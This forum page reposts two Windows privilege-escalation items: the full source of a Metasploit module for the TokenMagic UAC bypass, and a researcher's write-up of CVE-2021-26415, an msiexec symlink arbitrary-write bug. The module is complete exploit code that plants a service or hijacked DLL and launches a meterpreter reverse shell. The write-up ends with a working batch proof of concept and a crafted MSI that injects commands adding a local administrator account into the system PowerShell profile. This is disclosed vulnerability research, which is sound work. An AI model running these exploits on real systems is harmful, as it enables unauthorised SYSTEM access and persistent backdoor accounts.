Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 05/18/21 in all areas

  1. This Metasploit module leverages a UAC bypass (TokenMagic) in order to spawn a process/conduct a DLL hijacking attack to gain SYSTEM-level privileges. Windows 7 through Windows 10 1803 are affected. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE # Needed for generate_payload_dll include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::FileSystem include Msf::Post::Windows::Powershell include Msf::Post::Windows::Priv include Msf::Post::Windows::ReflectiveDLLInjection prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Privilege Escalation via TokenMagic (UAC Bypass)', 'Description' => %q{ This module leverages a UAC bypass (TokenMagic) in order to spawn a process/conduct a DLL hijacking attack to gain SYSTEM-level privileges. Windows 7 through Windows 10 1803 are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Forshaw', # Research 'Ruben Boonen (@FuzzySec)', # PoC 'bwatters-r7', # msf module 'jheysel-r7' # msf module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2017-05-25', 'References' => [ ['URL', 'https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1'], ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html'], ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html'], ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html'] ], 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', 'WfsDelay' => 900 } ) ) register_options([ OptString.new('SERVICE_NAME', [false, 'Service Name to use (Random by default).', Rex::Text.rand_text_alpha(5..9)]), OptString.new('WRITABLE_DIR', [false, 'Directory to write file to (%TEMP% by default).', nil]), OptString.new('SERVICE_FILENAME', [false, 'Filename for Service Payload (Random by default).', Rex::Text.rand_text_alpha(5..9)]), OptEnum.new('METHOD', [ true, 'SERVICE or DLL, please select which attack method you would like to use (SERVICE by default). Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10 minutes to trigger', 'SERVICE', ['SERVICE', 'DLL'] ]) ]) end def setup_process begin print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_error('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end process end def inject_magic(process) if sysinfo['Architecture'] == ARCH_X64 library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll') elsif sysinfo['Architecture'] == ARCH_X86 library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x86.dll') end library_path = ::File.expand_path(library_path) print_status("Reflectively injecting the trigger DLL into #{process.pid}...") dll = ::File.read(library_path) exploit_mem, offset = inject_dll_data_into_process(process, dll) print_good('Trigger injected.') payload_mem = inject_into_process(process, payload.encoded) print_good('Payload injected. Starting thread...') process.thread.create(exploit_mem + offset, payload_mem) end def launch_dll_trigger print_status('Trying to start notepad') process = setup_process inject_magic(process) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') rescue Rex::Post::Meterpreter::RequestError => e elog(e) print_error(e.message) end def payload_arch payload.arch.include?(ARCH_X64) ? ARCH_X64 : ARCH_X86 end def exploit win_dir = session.sys.config.getenv('windir') cmd_path = "#{win_dir}\\system32\\cmd.exe" if datastore['SERVICE_FILENAME'] service_filename = datastore['SERVICE_FILENAME'] else service_filename = Rex::Text.rand_text_alpha(5..9) end service_filename = "#{service_filename}.exe" unless service_filename.end_with?('.exe') if datastore['SERVICE_NAME'] service_name = datastore['SERVICE_NAME'] else service_name = Rex::Text.rand_text_alpha(5..9) end if datastore['WRITABLE_DIR'] writable_dir = datastore['WRITABLE_DIR'] else writable_dir = session.sys.config.getenv('TEMP') end if datastore['METHOD'] =~ /DLL/i bin_path = "#{writable_dir}\\WindowsCoreDeviceInfo.dll" payload = generate_payload_dll vprint_status("Payload DLL is #{payload.length} bytes long") client.core.use('powershell') unless client.ext.aliases.include?('powershell') register_file_for_cleanup('C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up. # Replace Value in Generic Script. cmd_args = "/c move #{bin_path} C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll" else bin_path = "#{writable_dir}\\#{service_filename}" payload = generate_payload_exe_service({ servicename: service_name, arch: payload_arch }) vprint_status("Service Name = #{service_name}") client.core.use('powershell') unless client.ext.aliases.include?('powershell') # Replace Value in Generic Script. Note Windows 7 requires spaces after the equal signs in the below command. cmd_args = "/c sc create #{service_name} binPath= #{bin_path} type= own start= demand && sc start #{service_name}" end # Check target print_status('Checking Target') validate_active_host validate_payload # Upload the payload print_status("Uploading payload to #{bin_path}") write_file(bin_path, payload) register_file_for_cleanup(bin_path) # Read in Generic Script script = exploit_data('tokenmagic', 'tokenmagic.ps1') script.gsub!('_CMD_PATH_', cmd_path) script.gsub!('_CMD_ARGS_', cmd_args) # Run Exploit Script print_status("Running Exploit on #{sysinfo['Computer']}") begin print_status('Executing TokenMagic PowerShell script') session.powershell.execute_string({ code: script }) rescue Rex::TimeoutError => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) print_error('Caught timeout. Exploit may be taking longer or it may have failed.') end if datastore['METHOD'] =~ /DLL/i launch_dll_trigger print_status("Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10 minutes to trigger and recieve a shell.") end print_good('Enjoy the shell!') end def validate_active_host print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog('Could not connect to session', error: e) raise Msf::Exploit::Failed, 'Could not connect to session' end def validate_payload vprint_status("Target Arch = #{sysinfo['Architecture']}") vprint_status("Payload Arch = #{payload.arch.first}") unless payload.arch.first == sysinfo['Architecture'] fail_with(Failure::NoTarget, 'Payload arch must match target arch') end end def check sysinfo_value = sysinfo['OS'] build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/) if build_num.nil? return CheckCode::Unknown("Couldn't retrieve the target's build number!") else vprint_status("Target's build number: #{build_num}") build_num = build_num[0].to_i end vprint_status("Build Number = #{build_num}") if datastore['METHOD'] =~ /service/i # Service method has been tested on Windows 7, 8 and 10 (1803 and ealier) return Exploit::CheckCode::Appears if (build_num >= 7600 && build_num <= 17134) elsif (sysinfo_value =~ /10/ && build_num >= 15063 && build_num <= 17134) # DLL method has been tested on Windows 10 (1703 to 1803) return Exploit::CheckCode::Appears elsif (datastore['METHOD'] =~ /dll/i && build_num >= 7600 && build_num < 15063) print_error("The current target is not vulnerable to the DLL hijacking technique. Please try setting METHOD to 'SERVICE' and then try again!") end Exploit::CheckCode::Safe end end Source
    1 point
  2. CVE-2021-26415 April 21, 2021 Posted By Adrian Denkiewicz L p e , Bug bounty I’d like to share the details of CVE-2021-26415 (CVSSv3.0: 7.8) vulnerability that was patched on 2021-04-13. I found this bug somewhere around October 2020 and worked with Trend Micro’s Zero Day Initiative to report it to Microsoft. This is a Local Privilege Escalation (LPE) vulnerability affecting Windows Installer component. It’s based on the TOCTOU and file system attack using symlinks. The issue leads to write to an arbitrary file with LocalSystem privileges and partial control over content. I couldn’t find a vector that would give me a full control over the content (to replace DLL file content, etc.), but even partial control is sufficient to inject arbitrary PowerShell commands to default profile and elevate privileges once administrator account or scheduled task runs PowerShell console. I reported the issue as 0day for Windows 10 and 2019 Server, but according to the advisory, the issue affects other systems as well: 8.1, 7, 2012, 2016, 2008. Ancient systems were probably vulnerable too. Technical details Windows installer The msiexec system binary is used to install applications from MSI format (Windows Installer Packages). It’s not just an another name for PE files, but a slightly more complex format. Typical usage of msiexec requires administrative rights, there are however exceptions. For instance, the /f switch can be used by a non-privileged user to perform repair operation. This operation can often be performed without any admin rights. This switch has been used in the past in several LPE attacks - the vulnerable component was usually the MSI package itself. Typically, to look for such MSIs, I would just go to C:\Windows\Installer directory and start there. This time, we will simply pick one of existing files and use it to attack the operating system itself. The used installer (148d3c4.msi) is some random DropBox MSI that I found on my system. The repair operation can be extended with logging if /L option is provided. The msiexec will log some information to a pointed file. Let’s use procmon to see what exactly happens if following command is executed by regular user: 1 msiexec /f C:\Windows\Installer\148d3c4.msi /L C:\temp\foo.log In the above picture, you can see configured filters and highlights. This is useful to visually distinguish between operations running on System integrity level but impersonating normal users and those that use full power. For instance, the initial CreateFile operation on the pointed file use impersonation. The process won’t open anything that we don’t already have access to. We cannot just point at other files (say, C:\Windows\win.ini) and count on elevated access. It won’t work and from LPE perspective it’s nothing interesting. Few lines below, the file is processed again, but this time - using the full LocalSystem token. Perhaps only initial access to the file is protected? We can test that using symlinks. Symlink attack I won’t cover symlinks in detail, if this concept is new to you, please check out this great introduction to privileged file operation abuse on Windows. The James Forshaw’s symbolic link toolkit is a de facto standard to exploit such issues. In particular, BaitAndSwitch.exe application does everything that’s needed here - it traps the initial file-check in oplock, then changes the link from the original file, to somewhere else - the targeted file. The initial permission checks verify access to a safe file, but next read/write operations are performed on another file, now pointed by the same symlink. This is a typical TOCTOU issue. The kind of symlink used in this scenario, does not require any kind of special access - any unprivileged user can create one. Let’s execute following commands: 1 2 BaitAndSwitch.exe C:\temp\linkdir\link C:\temp\foo.log C:\foo.log msiexec /f C:\Windows\Installer\148d3c4.msi /L C:\temp\linkdir\link This is initial file access, the BOM character is written from Medium integrity thread - it also verifies access rights to a file. Once this is confirmed, the BaitAndSwitch is triggered and changes pointed location. Do you see it? The symlink already switched to a new target (C:\foo.log) and after a bunch of operations made under impersonation, the single CreateFile from LocalSystem is made. After few more actions, the file is closed and ends up saved on the disk. The file follows existing access rights rules - no extra permissions provided, but we just proved the arbitrary write. What’s inside? 1 2 3 MSI (s) (AC:34) [16:14:11:665]: Product: Dropbox Update Helper -- Configuration completed successfully. MSI (s) (AC:34) [16:14:11:665]: Windows Installer reconfigured the product. Product Name: Dropbox Update Helper. Product Version: 1.3.415.1. Product Language: 1033. Manufacturer: Dropbox, Inc.. Reconfiguration success or error status: 0. Umm. It’s pretty useless. We may overwrite important files, but won’t directly elevate privileges. We will have to work on that. Partial content control At this point, I started inspecting flags returned by msiexec /h. Perhaps it is possible to gain full or at least partial control over written data? There are certain nice candidates in the logging options parameter: /fp adds terminal properties, some of them are definitively under my control as they come from user-writable registry hives or environment variables. For instance, look how I injected ; notepad.exe ; into %APPDATA% variable. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 === Logging started: 4/15/2021 20:18:09 === Property(S): UpdateDir = C:\Program Files (x86)\Dropbox\Update\ Property(S): DropboxProgramDir = C:\Program Files (x86)\Dropbox\ Property(S): ProgramFilesFolder = C:\Program Files (x86)\ Property(S): TARGETDIR = C:\ Property(S): ALLUSERS = 1 Property(S): ARPSYSTEMCOMPONENT = 1 Property(S): DISABLEROLLBACK = 1 Property(S): Manufacturer = Dropbox, Inc. Property(S): ProductCode = {099218A5-A723-43DC-8DB5-6173656A1E94} Property(S): ProductLanguage = 1033 Property(S): ProductName = Dropbox Update Helper Property(S): ProductVersion = 1.3.415.1 Property(S): UpgradeCode = {C7A2CC6E-044B-4A2C-BD1E-E75EAD2C11B0} Property(S): MsiLogFileLocation = C:\temp\log.txt Property(S): PackageCode = {E42CA6BD-944C-4847-A481-D150906EC78E} Property(S): ProductState = 5 Property(S): ProductToBeRegistered = 1 Property(S): RestrictedUserControl = 1 Property(S): REINSTALL = ALL Property(S): REINSTALLMODE = pecms Property(S): CURRENTDIRECTORY = C:\Users\lowpriv Property(S): CLIENTUILEVEL = 2 Property(S): CLIENTPROCESSID = 12412 Property(S): MsiSystemRebootPending = 1 Property(S): PRODUCTLANGUAGE = 1033 Property(S): VersionDatabase = 300 Property(S): VersionMsi = 5.00 Property(S): VersionNT = 603 Property(S): VersionNT64 = 603 Property(S): WindowsBuild = 9600 Property(S): ServicePackLevel = 0 Property(S): ServicePackLevelMinor = 0 Property(S): MsiNTProductType = 1 Property(S): WindowsFolder = C:\WINDOWS\ Property(S): WindowsVolume = C:\ Property(S): System64Folder = C:\WINDOWS\system32\ Property(S): SystemFolder = C:\WINDOWS\SysWOW64\ Property(S): RemoteAdminTS = 1 Property(S): TempFolder = C:\Users\lowpriv\AppData\Local\Temp\ Property(S): CommonFilesFolder = C:\Program Files (x86)\Common Files\ Property(S): ProgramFiles64Folder = C:\Program Files\ Property(S): CommonFiles64Folder = C:\Program Files\Common Files\ Property(S): AppDataFolder = C:\Users\lowpriv\AppData\Roaming ; notepad.exe ;\ Property(S): FavoritesFolder = C:\Users\lowpriv\Favorites\ Property(S): NetHoodFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Network Shortcuts\ Property(S): PersonalFolder = C:\Users\lowpriv\Documents\ Property(S): PrintHoodFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\ Property(S): RecentFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Recent\ Property(S): SendToFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\SendTo\ Property(S): TemplateFolder = C:\ProgramData\Microsoft\Windows\Templates\ Property(S): CommonAppDataFolder = C:\ProgramData\ Property(S): LocalAppDataFolder = C:\Users\lowpriv\AppData\Local\ Property(S): MyPicturesFolder = C:\Users\lowpriv\Pictures\ Property(S): AdminToolsFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\ Property(S): StartupFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ Property(S): ProgramMenuFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ Property(S): StartMenuFolder = C:\ProgramData\Microsoft\Windows\Start Menu\ Property(S): DesktopFolder = C:\Users\Public\Desktop\ Property(S): FontsFolder = C:\WINDOWS\Fonts\ Property(S): GPTSupport = 1 Property(S): OLEAdvtSupport = 1 Property(S): ShellAdvtSupport = 1 Property(S): MsiAMD64 = 6 Property(S): Msix64 = 6 Property(S): Intel = 6 Property(S): PhysicalMemory = 5687 Property(S): VirtualMemory = 2713 Property(S): LogonUser = lowpriv Property(S): UserSID = S-1-5-21-2746136434-3241333796-1554539884-1002 Property(S): UserLanguageID = 1033 Property(S): ComputerName = DESKTOP-OMNIO40 Property(S): SystemLanguageID = 1033 Property(S): ScreenX = 1024 Property(S): ScreenY = 768 Property(S): CaptionHeight = 19 Property(S): BorderTop = 1 Property(S): BorderSide = 1 Property(S): TextHeight = 16 Property(S): TextInternalLeading = 3 Property(S): ColorBits = 32 Property(S): TTCSupport = 1 Property(S): Time = 20:18:09 Property(S): Date = 4/15/2021 Property(S): MsiNetAssemblySupport = 4.8.4084.0 Property(S): MsiWin32AssemblySupport = 6.3.19041.1 Property(S): RedirectedDllSupport = 2 Property(S): AdminUser = 1 Property(S): MsiRunningElevated = 1 Property(S): Privileged = 1 Property(S): USERNAME = Adrian Property(S): Installed = 00:00:00 Property(S): DATABASE = C:\WINDOWS\Installer\148d3c4.msi Property(S): OriginalDatabase = C:\WINDOWS\Installer\148d3c4.msi Property(S): RollbackDisabled = 1 Property(S): UILevel = 3 Property(S): Preselected = 1 Property(S): ACTION = INSTALL Property(S): ROOTDRIVE = C:\ Property(S): CostingComplete = 1 Property(S): OutOfDiskSpace = 0 Property(S): OutOfNoRbDiskSpace = 0 Property(S): PrimaryVolumeSpaceAvailable = 0 Property(S): PrimaryVolumeSpaceRequired = 0 Property(S): PrimaryVolumeSpaceRemaining = 0 Property(S): INSTALLLEVEL = 1 === Logging stopped: 4/15/2021 20:18:09 === If you don’t see why that could be useful, I will explain that in a second. For now, there’s plenty of garbage in the output. Let’s try harder. /L+ will append instead of overwritting - this could be useful in some situations and would let us test attacks without breaking the entire file. /Lc logs initial UI parameters only. This results in only two lines of output, but not under attacker control. 1 2 === Logging started: 4/15/2021 20:28:50 === === Logging stopped: 4/15/2021 20:28:50 === Other logging flags aren’t helping that much, plus they even cause MSI to use more than one thread and it can cause additional issues. Some will log verbose messages, some only errors… Perhaps malicious MSI package would have more control over the content? Sounds like a good idea to check. Let’s prepare a custom one. Ccrafting MSI Custom MSI packages can be crafted using WiX toolset. This way we will control behavior and also additional properties of MSI package. First we need to create example.wxs file with following content: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="; net user FooBar P@ssw0rd /add ; net localgroup Administrators FooBar /add #" Version="0.0.1" Manufacturer="Example Company Name" Language="1033"> <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/> <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/> <Directory Id="TARGETDIR" Name="SourceDir"> <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222"/> </Directory> <Feature Id="DefaultFeature" Level="1"> <ComponentRef Id="ApplicationFiles"/> </Feature> </Product> </Wix> Note the Name attribute. It contains injected PowerShell command along with ‘;’ to separate instructions. The ‘#’ at the end is used to comment out the remaining characters in the line. This will be more clear later. Now, we can use candle.exe example.wxs to process the above definition and light example.wixobj to create example.msi package. Let’s move it to the attacked system and redo attack: msiexec /f C:\temp\example.msi /L C:\Temp\log.txt Oops. This won’t work - we would need to install the package first and this obviously requires admin privileges. Let’s not even start with the social engineering narrative. That’s the dead end. Product advertisement I decided to test other flags - perhaps repair isn’t the only interesting option to trigger. The /j<u|m> <Product.msi> option is used as advertises a product - m to all users, u to current user. Let’s see what it really does: 1 2 BaitAndSwitch C:\temp\linkdir\link C:\temp\fakelog.txt C:\foo.log msiexec /j example.msi /L C:\temp\linkdir\link UAC prompt. So it must be admin only after all… However, if we take a look at procmon - it looks like write already happened. We didn’t have to provide any credentials at all! At this point, we can safely cancel UAC - the elevated writing already happened! The data controlled by the attacker is appended to the target file and we have arbitrary write with partial content control. Final touches The C:\foo.log file now contains: MSI (s) (58:68) [21:20:31:191]: Product: ; net user FooBar P@ssw0rd /add ; net localgroup Administrators FooBar /add # -- Advertisement failed. Did I mention that this is a UTF-16 file? Well, it is. So it cannot be turned into cmd.exe payload, but PowerShell will happily process the file. Semicolons are there to split commands, and hash character to comment out the remaining text. If you overwrite (or create new) C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 - it’s going to be started next time administrator start PowerShell. There are also other LPE locations where it will fit just fine, but thinking of other vectors is going to be your homework. Another problem I wanted to solve was getting rid of UAC prompt completely. To do that, another switch was used: /t somevalue /qn - this will trigger a silent error after the write, but before UAC prompt. We intentionally want installer to fail at early stage. The /qn switch will guarantee no UI. This makes the payload usable even without GUI access to the system and nothing blocks console interaction. Full PoC After all that storytelling, the final PoC is: 1 2 3 4 5 6 @echo off REM Put BaitAndSwitch, example.msi into C:\temp echo > C:\temp\fakelog.txt start C:\temp\BaitAndSwitch C:\temp\linkdir\link C:\temp\fakelog.txt C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 timeout /t 1 msiexec /j C:\temp\example.msi /t ksz /Li! C:\temp\linkdir\link /qn Since your system should already be patched, here’s a quick video PoC of it in action: Thanks for reading! Sursa: https://www.cloaked.pl/2021/04/cve-2021-26415/
    1 point
×
×
  • Create New...